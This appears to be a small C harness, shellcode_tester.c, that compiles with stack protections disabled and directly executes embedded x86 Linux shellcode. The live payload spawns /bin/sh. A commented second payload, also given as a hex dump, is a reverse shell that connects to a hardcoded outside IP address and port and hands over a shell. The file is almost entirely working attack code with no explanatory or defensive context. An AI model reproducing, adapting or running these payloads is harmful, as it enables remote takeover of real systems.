shellcode_tester.c

/*
gcc file.c -o file -fno-stack-protector -z execstack 
*/

#include <stdio.h>
#include <string.h>

unsigned char code2[] =  "\x90\x90\x90\x90\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

int main() {

       printf("Shellcode Length:  %d\n", strlen(code2));
       int (*ret)() = (int(*)())code2;
       ret();

return 0;
}


//OTHER FORMAT-----------------------------------------------
//http://www2.onlinedisassembler.com/odaweb/
//"\x68\x25\xbb\xe1\xbb\x5e\x66\x68\xd9\x03\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"


/*

  68  
  25 bb e1 bb    
  5e 66 68 
  d9 03           
  5f 6a 66 58 99 6a 01 5b 52 53 6a 02 
  89 e1 cd 80 93 59 b0 3f cd 80 49 79 
  f9 b0 66 56 66 57 66 6a 02 89 e1 6a 
  10 51 53 89 e1 cd 80 b0 0b 52 68 2f 
  2f 73 68 68 2f 62 69 6e 89 e3 52 53 
  eb ce  

*/